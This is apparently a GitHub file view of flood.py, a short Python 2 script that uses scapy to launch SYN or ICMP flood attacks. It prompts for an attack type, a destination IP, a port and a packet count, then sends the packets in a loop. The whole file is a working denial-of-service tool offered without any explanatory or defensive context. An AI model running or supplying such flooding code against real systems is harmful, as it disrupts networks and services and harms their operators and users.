-
Notifications
You must be signed in to change notification settings - Fork 4
/
flood.py
39 lines (31 loc) · 1.04 KB
/
flood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from scapy.all import *
def main():
user_input = raw_input("Please select one of the attack type [syn,icmp]: ")
if user_input == "icmp":
icmpflood()
elif user_input == "syn":
synflood()
else:
print "[ERROR] Select one of the attack type !!!"
def icmpflood():
target = DestinationIP()
cycle = raw_input("How many packets do you sent [Press enter for 100]: ")
if cycle == "":
cycle = 100
for x in range (0,int(cycle)):
send(IP(dst=target)/ICMP())
def synflood():
target = DestinationIP()
targetPort = DestinationPort()
cycle = raw_input("How many packets do you sent [Press enter for 100]: ")
if cycle == "":
cycle = 100
for x in range(0, int(cycle)):
send(IP(dst=target)/TCP(dport=targetPort,flags="S",seq=RandShort(),ack=RandShort(),sport=RandShort()))
def DestinationIP():
dstIP = raw_input("Destination IP: ")
return dstIP
def DestinationPort():
dstPort = raw_input("Destination Port: ")
return int(dstPort)
main()